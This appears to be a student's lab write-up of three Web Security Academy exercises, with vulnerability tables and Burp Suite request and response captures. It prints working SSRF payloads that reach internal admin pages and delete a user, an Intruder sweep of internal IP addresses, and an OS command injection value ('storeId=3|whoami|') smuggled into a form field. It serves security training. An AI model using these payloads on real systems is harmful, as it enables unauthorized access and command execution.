

Vulnerability name	Server-Side Request Forgery (SSRF) - Local Server Access
CWE	CWE-918: Server-Side Request Forgery (SSRF)
CVSS score 3.1 Calculator	10.0
Severity	High
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Description	An SSRF vulnerability allows an attacker to send unauthorized requests from the server to internal services. The attacker can access sensitive data or services behind the firewall that would otherwise be unreachable from the outside
Security Impact	Access to internal resources: Attackers can access sensitive internal services that are not intended to be exposed to the outside world. Data leakage: Internal data, including databases and internal APIs, can be leaked or misused. Bypassing firewalls: Internal systems behind firewalls or other protections could be accessed.
Affected host	https://0a86002803aee950809e536700c40040.web-security-academy.net
Remediation	Input Validation: Restrict and sanitize user-controlled URLs. Only allow requests to safe, predefined resources.
Reference	https://cwe.mitre.org/data/definitions/918.html https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

Documentation

Basic SSRF against the local server

WebSecurity Academy

Basic SSRF against the local server

LAB Not solved

Home | My account

WE LIKE TO SHOP

There's No Place Like Gnome

Fur Babies

Conversation Controlling Lemon

The Giant Enter Key

View details

View details

View details

View details

Need to check the stock to get the POST method

Basic SSRF against the local server

Basic SSRF against the local server

Home | My account

The Giant Enter Key

\$11.17

Enter

Description:

Made from soft, nylon material and stuffed with cotton, this giant enter key is the ideal office addition. Simply plug it in via a USB port and use it as you're normal enter button! The only difference being is you can smash the living heck out of it whenever you're annoyed. This not only saves your existing keyboard from yet another hammering, but also ensures you won't get billed by your boss for damage to company property.

This is also an ideal gift for that angry co-worker or stressed out secretary that you just fear to walk past. So, whether it's for you or a gift for an agitated friend, this sheer surface size of this button promises you'll never miss when you go to let that anger out.

Paris

Check stock

788 units

< Return to list

After finding the POST method look for the StockApi then send it to the repeater

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. A table of HTTP requests is displayed, with the following columns: #, Host, Method, URL, Params, Edited, Status code, Length, MIME type, Extension, Title, Notes, TLS, IP, Cookies, and Time. The selected request is a POST to /product/stock with a status code of 200 and a length of 109 bytes. The request details are shown in the 'Request' pane, and the response is shown in the 'Response' pane. The response is a 200 OK with a content type of text/plain and a body of 788 bytes. The 'Inspector' pane on the right shows the selected text and its decoded form.

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time
4	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/resources/labheader/js/labheader.js			200	1073	text/javascript	js			✓	34.246.129.62		15:37:31.1
5	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/resources/images/shop.svg			200	7258	image/svg+xml	svg			✓	34.246.129.62		15:37:32.1
9	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/academyLabHeader			200	147	text/html				✓	34.246.129.62		15:37:32.1
25	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/resources/labheader/images/log...			200	8852	image/svg+xml	svg			✓	34.246.129.62		15:37:43.1
26	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/resources/labheader/images/ps-l...			200	942	image/svg+xml	svg			✓	34.246.129.62		15:37:43.1
35	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/product?productId=1		✓	200	5120	text/html		Basic SSRF against th...		✓	34.246.129.62		15:38:58.1
38	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/resources/js/stockCheckPayload.js			200	291	text/javascript	js			✓	34.246.129.62		15:38:59.1
39	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/resources/js/stockCheck.js			200	981	text/javascript	js			✓	34.246.129.62		15:38:59.1
40	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/academyLabHeader			200	147	text/html				✓	34.246.129.62		15:39:00.1
41	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/product?productId=4		✓	200	4787	text/html		Basic SSRF against th...		✓	34.246.129.62		15:39:19.1
42	https://0a86002803aee950809e536700c40040.web-security-academy.net	GET	/academyLabHeader			200	147	text/html				✓	34.246.129.62		15:39:19.1
43	https://0a86002803aee950809e536700c40040.web-security-academy.net	POST	/product/stock		✓	200	109	text/plain				✓	34.246.129.62		15:39:25.1

Request

```
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: 70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: https://0a86002803aee950809e536700c40040.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a86002803aee950809e536700c40040.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
stockApi=http://stock.veliketoshop.net:8080/product/stock/check?productId=4&storeId=2
```

Response

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3
788
```

Inspector

Selection: 98 (0x62)

Selected text

```
http://stock.veliketoshop.net:8080/product/stock/check?productId=4&storeId=2
```

Decoded from: URL encoding

```
http://stock.veliketoshop.net:8080/product/stock/check?productId=4&storeId=2
```

Request attributes: 2

Request body parameters: 1

Request cookies: 1

Event log: All issues

Memory: 130.5MB

I changed the StockApi to <https://localhost/admin> to get access to the admin page

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. A POST request to /product/stock is shown in the 'Request' pane, with the 'stockApi' parameter modified to http://localhost/admin. The response is shown in the 'Response' pane, displaying a 'Web! Acad' message and a 'Basic SSRF against the local server' warning. The 'Inspector' pane on the right shows the request attributes, query parameters, body parameters, cookies, headers, and response headers.

Request

```
POST /product/stock HTTP/2
Host: 0a86002803aee950809e536700c40040.web-security-academy.net
Cookie: session=UJyAlP8shjeJdFgUf9sokGzFHLB0My
Content-Length: 31
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: 70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: https://0a86002803aee950809e536700c40040.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a86002803aee950809e536700c40040.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
stockApi=http://localhost/admin
```

Response

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3
788
```

Inspector

Request attributes: 2

Request query parameters: 0

Request body parameters: 1

Request cookies: 1

Request headers: 20

Response headers: 5

Event log (1): All issues

Memory: 145.2MB

Get the address or path of the link in the delete button.

The screenshot shows the Burp Suite interface with the Repeater tab selected. The target is set to `https://0a86002803aee950809e536700c40040.web-security-academy.net`. The Request tab shows a POST request to `/product/stock` with various headers and a body. The Response tab shows the HTML response, which includes a navigation header, a top-links section, a notification header, and a footer wrapper. The response contains two delete buttons: one for 'wiener' and one for 'carlos'. The 'carlos' button is highlighted in the response.

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a86002803aee950809e536700c40040.web-security-academy.net
3 Cookie: session=2UjYAlP8shjeJdFgUfF9xokGsFHLBQMy
4 Content-Length: 31
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
11 Accept: */*
12 Origin: https://0a86002803aee950809e536700c40040.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a86002803aee950809e536700c40040.web-security-academy.net/product?productId=4
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19 stockApi=http://localhost/admin
```

Response

```
45 <header class="navigation-header">
46 <section class="top-links">
47 <a href="/>Home</a><p>|</p>
48 <a href="/admin">Admin panel</a><p>
49 <a href="/my-account">My account</
50 </section>
51 </header>
52 <header class="notification-header">
53 </header>
54 <section>
55 <h1>Users</h1>
56 <div>
57 <span>wiener - </span>
58 <a href="/admin/delete?username=wiener">Delete</a>
59 </div>
60 <div>
61 <span>carlos - </span>
62 <a href="/admin/delete?username=carlos">Delete</a>
63 </div>
64 </section>
65 <br>
66 <hr>
67 </div>
68 </section>
69 <div class="footer-wrapper">
70 </div>
71 </div>
72 </body>
73 </html>
74
```

After getting the path you can now click the send and the user will be deleted.

The screenshot shows the Burp Suite interface with the Repeater tab selected. The target is set to `https://0a86002803aee950809e536700c40040.web-security-academy.net`. The Request tab shows the same POST request to `/product/stock`, but the `stockApi` field in the body is now `http://localhost/admin/delete?username=carlos`. The Response tab shows the same HTML response as before, with the 'carlos' button highlighted.

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a86002803aee950809e536700c40040.web-security-academy.net
3 Cookie: session=2UjYAlP8shjeJdFgUfF9xokGsFHLBQMy
4 Content-Length: 31
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
11 Accept: */*
12 Origin: https://0a86002803aee950809e536700c40040.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a86002803aee950809e536700c40040.web-security-academy.net/product?productId=4
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19 stockApi=http://localhost/admin/delete?username=carlos
20
```

Response

```
45 <header class="navigation-header">
46 <section class="top-links">
47 <a href="/>Home</a><p>|</p>
48 <a href="/admin">Admin panel</a><p>
49 <a href="/my-account">My account</
50 </section>
51 </header>
52 <header class="notification-header">
53 </header>
54 <section>
55 <h1>Users</h1>
56 <div>
57 <span>wiener - </span>
58 <a href="/admin/delete?username=wiener">Delete</a>
59 </div>
60 <div>
61 <span>carlos - </span>
62 <a href="/admin/delete?username=carlos">Delete</a>
63 </div>
64 </section>
65 <br>
66 <hr>
67 </div>
68 </section>
69 <div class="footer-wrapper">
70 </div>
71 </div>
72 </body>
73 </html>
74
```

Here you can see that the “Carlos” is now deleted because it doesn’t show in the users.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The target is `https://0a86002803aee950809e536700c40040.web-security-academy.net`. The request is a POST to `/product/stock` with a body containing `stockApi=http://localhost/admin/delete?username=carlos`. The response is an HTTP 200 OK with a `Location: /admin` header. The Inspector panel on the right shows the request and response details.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The target is `https://0a86002803aee950809e536700c40040.web-security-academy.net`. The request is a POST to `/product/stock` with a body containing `stockApi=http://localhost/admin`. The response is an HTML page with a success message: "User deleted successfully!". The page also includes a "Users" section with a "Delete" button. The Inspector panel on the right shows the request and response details.

Vulnerability name	Server-Side Request Forgery (SSRF) - Unauthorized Access to Back-End Systems
CWE	CWE-918
CVSS score 3.1 Calculator	10.0
Severity	High
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Description	This SSRF vulnerability occurs when the application allows an attacker to manipulate the server into making unauthorized requests to internal back-end systems or services. The attacker can exploit this by using brute force to get the right url.
Security Impact	- Attackers might access restricted internal services - Sensitive data such as database credentials and configuration files could be leaked.
Affected host	https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/
Remediation	Authenticate Requests: Ensure requests to sensitive internal endpoints are authenticated and protected.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/918.html

Documentation

Basic SSRF against another back-end system

WebSecurity Academy

LAB Not solved

Home | My account

WE LIKE TO SHOP

First Impression Costumes
★★★★★ \$92.61
View details

Grow Your Own Spy Kit
★★★★★ \$78.37
View details

Couple's Umbrella
★★★★★ \$74.21
View details

What Do You Meme?
★★★★★ \$0.21
View details

Image of a man with wings

Image of green leaves

Image of a red umbrella

Image of a box labeled 'WHAT DO YOU MEME?'

Image of various fruits

Image of a laundry room

Image of a close-up of an eye

Image of a bicycle with colorful wheels

Check the stock to get the POST Method.

Basic SSRF against another back-end system

What Do You Meme?
★★★★★
\$0.21

Home | My account

WHAT DO YOU MEME?
An adult party game for meme-lovers.

Description:
Get ready for that all important game night with this adult party starter - What Do You Meme?
Team up with your friends and family and make the most hilarious memes possible with your dealt caption cards. The winner is decided by a rotating judge that changes each round, so aim to tickle the funny bone of the person in charge of your fate that round!
The deck contains 435 cards, 360 are caption cards and the remaining 75 are photo cards. Pack includes easel and bonus rules for extra hilarity! This is the perfect gift for any meme lover as well as any creative mind. This gut bursting game is ideal to play at any adult party like stag and hen do's and is guaranteed to break the ice between new friends.

Paris Check stock
358 units

< Return to list

Look for the POST method that has stockapi.

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time
19	https://0a1a00ca049cc0878...	GET	/resources/labheader/images/ps-l...			200	942	XML	svg			✓	34.246.129.62		16:06:42.1
35	https://0a1a00ca049cc0878...	GET	/product?productId=1	✓		200	5114	HTML		Basic SSRF against an...		✓	34.246.129.62		16:07:11.1
36	https://0a1a00ca049cc0878...	GET	/resources/js/stockCheckPayload.js			200	291	script	js			✓	34.246.129.62		16:07:13.1
37	https://0a1a00ca049cc0878...	GET	/resources/js/stockCheck.js			200	981	script	js			✓	34.246.129.62		16:07:13.1
38	https://0a1a00ca049cc0878...	GET	/academyLabHeader			101	147					✓	34.246.129.62		16:07:13.1
39	https://0a1a00ca049cc0878...	GET	/			200	10772	HTML		Basic SSRF against an...		✓	34.246.129.62		16:07:14.1
40	https://0a1a00ca049cc0878...	GET	/academyLabHeader			101	147					✓	34.246.129.62		16:07:14.1
41	https://0a1a00ca049cc0878...	GET	/product?productId=4	✓		200	4786	HTML		Basic SSRF against an...		✓	34.246.129.62		16:07:17.1
42	https://0a1a00ca049cc0878...	GET	/academyLabHeader			101	147					✓	34.246.129.62		16:07:17.1
43	https://0a1a00ca049cc0878...	POST	/product/stock	✓		200	109	text				✓	34.246.129.62		16:07:23.1
44	https://0a1a00ca049cc0878...	GET	/			200	10772	HTML		Basic SSRF against an...		✓	79.125.84.16		16:16:19.1

Stockapi is located at the bottom.

Target: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net

Request:

```
POST /product/stock HTTP/2
Host: 0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
Cookie: session=3vMlx8xjPNhU0Gh0U4mixTONLmoLg7f
Content-Length: 96
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=
http://192.168.0.1:8080/product/stock/check?productId=4&storeId=2
```

Response:

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3

294
```


I removed all the properties and then add the properties at the last number of IP address in the url which is 1.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The 'Request' pane on the left displays a POST request to `/product/stock` with various headers and a body. The 'Response' pane on the right shows a 404 Not Found response. The 'Inspector' pane on the far right shows the request attributes, query parameters, body parameters, cookies, headers, and response headers.

Request:

```
1 POST /product/stock HTTP/2
2 Host: 0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
3 Cookie: session=3vMiXr8xjPNhU8Gk0U4mixTONLmoLgJf
4 Content-Length: 35
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
11 Accept: */*
12 Origin: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/product?productId=4
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19
20 stockApi=http://192.168.0.103:8080/admin
```

Response:

```
1 HTTP/2 404 Not Found
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11
5
6 "Not Found"
```

Changed the Payload type in to Numbers and changed the To to 255, From to 1, and Step to 1

The screenshot shows the Burp Suite interface with the 'Intruder' tab selected. The 'Sniper attack' is configured with the target `https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net`. The 'Payloads' pane on the right shows the configuration for the attack, including the number range and format.

Target: `https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net`

Payloads:

- Payload position: All payload positions
- Payload type: Numbers
- Payload count: 255
- Request count: 255

Payload configuration:

This payload type generates numeric payloads within a given range and in a specified format.

Number range:

- Type: Sequential
- From: 1
- To: 255
- Step: 1
- How many:

Number format:

- Base: Decimal
- Min integer digits: 0
- Max integer digits: 3
- Min fraction digits: 0
- Max fraction digits: 0

Examples:

```
1
321
```

1 x 2 x +

Send Cancel < >

Target: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net HTTP/2

Request

Pretty Raw Hex

```
1 POST /product/stock HTTP/2
2 Host: 0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
3 Cookie: session=3vMlXr8xjPMhU8GkOU4mixTONLmoLgJf
4 Content-Length: 35
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
11 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70
12 Safari/537.36
13 Accept: */*
14 Origin: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: cors
17 Sec-Fetch-Dest: empty
18 Referer: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/product?productId=4
19 Accept-Encoding: gzip, deflate, br
20 Priority: u=1, i
21 stockApi=http://192.168.0.103:8080/admin
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 404 Not Found
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 11
5
6 "Not Found"
```

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 1

Request cookies 1

Request headers 20

Response headers 3

Done 131 bytes | 280 milli

Event log All issues Memory: 144.9MB

This is the admin page.

1 x 2 x +

Send Cancel < >

Target: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net HTTP/2

Request

Pretty Raw Hex

```
1 POST /product/stock HTTP/2
2 Host: 0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
3 Cookie: session=3vMlXr8xjPMhU8GkOU4mixTONLmoLgJf
4 Content-Length: 40
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
11 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70
12 Safari/537.36
13 Accept: */*
14 Origin: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: cors
17 Sec-Fetch-Dest: empty
18 Referer: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/product?productId=4
19 Accept-Encoding: gzip, deflate, br
20 Priority: u=1, i
21 stockApi=http://192.168.0.103:8080/admin
```

Response

Pretty Raw Hex Render

Web! Acad Basic SSRF against another back-end system

LAB Not solved

Back to lab description

Home | Admin panel | My account

Users

wiener - Delete

carlos - Delete

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 1

Request cookies 1

Request headers 20

Response headers 4

Done 3,274 bytes | 369 milli

Event log All issues Memory: 144.9MB

Enter the url that has delete?username=carlos

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
3 Cookie: session=3vM1x8xjPMhU8Gk0U4mixTONLmoLg3f
4 Content-Length: 40
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
11 Accept: */*
12 Origin: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/product?productId=4
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19
20 stockApi=http://192.168.0.103:8080/admin/delete?username=carlos
```

Response

```
51 <header class="notification-header">
52 </header>
53 <section>
54 <h1>
55 Users
56 </h1>
57 <div>
58 <span>
59 wiener -
60 </span>
61 <a href="/http://192.168.0.103:8080/admin/delete?username=wiener">Delete
62 </a>
63 </div>
64 <span>
65 carlos -
66 </span>
67 <a href="/http://192.168.0.103:8080/admin/delete?username=carlos">Delete
68 </a>
69 </div>
70 </section>
71 <div class="footer-wrapper">
72 </div>
73 </div>
```

Notes

Delete carlos:
/http://192.168.0.103:8080/admin/delete?username=carlos

Done 3,274 bytes | 369 millis

Event log All issues Memory: 160.5MB

Carlos user is deleted.

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
3 Cookie: session=3vM1x8xjPMhU8Gk0U4mixTONLmoLg3f
4 Content-Length: 40
5 Sec-Ch-Ua-Platform: "Windows"
6 Accept-Language: en-US,en;q=0.9
7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
8 Content-Type: application/x-www-form-urlencoded
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
11 Accept: */*
12 Origin: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a1a00ca049cc08782f77f2e00680099.web-security-academy.net/product?productId=4
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19
20 stockApi=http://192.168.0.103:8080/admin
```

Response

Web: Basic SSRF against another back-end system

LAB Solved

Back to lab description

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | Admin panel | My account

User deleted successfully!

Users

wiener - Delete

Notes

Delete carlos:
/http://192.168.0.103:8080/admin/delete?username=carlos

Done 6,130 bytes | 282 millis

Event log All issues Memory: 160.5MB

Vulnerability name	OS Command Injection
CWE	CWE-78
CVSS score 3.1 Calculator	9.8
Severity	High
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description	The application is vulnerable to OS Command Injection due to improper sanitization of user input in the storeID parameter.
Security Impact	Confidentiality: Attackers can gain unauthorized access to sensitive system data. Integrity: System files and configurations could be manipulated. Availability: Malicious commands could disrupt or stop the server.
Affected host	https://0af1005004a9759e8006089e00ed0053.web-security-academy.net
Remediation	Replace OS command execution with safe and controlled APIs for interacting with the operating system.
Reference	https://cwe.mitre.org/data/definitions/78.html https://portswigger.net/web-security/os-command-injection

Documentation

OS command injection, simple

https://0af1005004a9759e8006089e00ed0053.web-security-academy.net

WebSecurity Academy

OS command injection, simple case

LAB Not solved

Back to lab description

Home

WE LIKE TO SHOP

Weird Crushes Game

★★★★☆ \$56.08

View details

BBQ Suitcase

★★★★☆ \$37.47

View details

Padding Pool Shoes

★★★★☆ \$28.17

View details

Giant Pillow Thing

★★★★★ \$59.54

View details

Hand holding a smartphone

Red balloon with a face

Two eggs with faces

Man with wings

Check the stock.

OS command injection, simple

https://0af1005004a9759e8006089e00ed0053.web-security-academy.net/product?productId=1

Home

Weird Crushes Game

★★★★☆

\$56.08

Description:

The Weird Crushes Game - Admit it, you've got one!

This is the ideal game for hen parties and game nights and it's high time to admit you've got a really strange crush. Take your pick from these hunky Brits and get the embarrassment out in the open. Pit your chosen hunk against other people's choices and battle it out using your crushes charm, charisma and sex people.

Get laughing and judgmental with this hilarious party game, no one is safe! Especially if you choose Piers Morgan.

Milan

Check stock

52 units

< Return to list

Get the POST method and look for product id

JS, image and general binary content; hiding 4xx responses; hiding empty loaders

Host	Method	URL	Params	Status code	Length	MIME type	Title
https://0af1005004a975...	GET	/product?productId=20	✓				
https://0af1005004a975...	GET	/resources/labheader/im...		200	942	XML	
https://0af1005004a975...	GET	/resources/labheader/im...		200	8852	XML	
https://0af1005004a975...	GET	/academyLabHeader		101	147		
https://0af1005004a975...	GET	/resources/js/stockCheck...		200	291	script	
https://0af1005004a975...	GET	/resources/js/stockCheck...		200	981	script	
https://0af1005004a975...	GET	/product/stock					
https://0af1005004a975...	POST	/product/stock	✓	200	109	text	

Request

Pretty Raw Hex

```
8 Content-Type:
9 application/x-www-form-urlencoded
10 Sec-Ch-Ua-Mobile: ?0
11 User-Agent: Mozilla/5.0 (Windows NT 10.0;
12 Win64; x64) AppleWebKit/537.36 (KHTML,
13 like Gecko) Chrome/130.0.6723.70
14 Safari/537.36
15 Accept: */*
16 Origin:
17 https://0af1005004a9759e8006089e00ed0053.w
18 eb-security-academy.net
19 Sec-Fetch-Site: same-origin
20 Sec-Fetch-Mode: cors
21 Sec-Fetch-Dest: empty
22 Referer:
23 https://0af1005004a9759e8006089e00ed0053.w
24 eb-security-academy.net/product?productId=
25 1
26 Accept-Encoding: gzip, deflate, br
27 Priority: u=1, i
28
29 productId=1&storeId=3
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 3
5
6 52
7
```

0 highlights

0 highlights

Enter the "whoami" at the end of the store id.

1 x2 x+

SendCancel<>

Target: https://0af1005004a9759e8006089e00ed0053.web-security-academy.net

Request

PrettyRawHex

1 POST /product/stock HTTP/2

2 Host: 0af1005004a9759e8006089e00ed0053.web-security-academy.net

3 Cookie: session=hPgsK427SYJqCa5oLfFcFqRPntoAAeXw

4 Content-Length: 21

5 Sec-Ch-Ua-Platform: "Windows"

6 Accept-Language: en-US,en;q=0.9

7 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"

8 Content-Type: application/x-www-form-urlencoded

9 Sec-Ch-Ua-Mobile: ?0

10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

11 Accept: */*

12 Origin: https://0af1005004a9759e8006089e00ed0053.web-security-academy.net

13 Sec-Fetch-Site: same-origin

14 Sec-Fetch-Mode: cors

15 Sec-Fetch-Dest: empty

16 Referer: https://0af1005004a9759e8006089e00ed0053.web-security-academy.net/product?productId=1

17 Accept-Encoding: gzip, deflate, br

18 Priority: u=1, i

19

20 productId=1&storeId=3|whoami|

Response

?⚙️⬅️➡️Search0 highlights

Ready

It displays the user.

Request

PrettyRawHex

1POST /product/stock HTTP/2

2Host: 0af1005004a9759e8006089e00ed0053.web-security-academy.net

3Cookie: session=hPgsK427SYJqCa5oLfFcFqRPntoAAeXw

4Content-Length: 28

5Sec-Ch-Ua-Platform: "Windows"

6Accept-Language: en-US,en;q=0.9

7Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"

8Content-Type: application/x-www-form-urlencoded

9Sec-Ch-Ua-Mobile: ?0

10User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

1Accept: */*

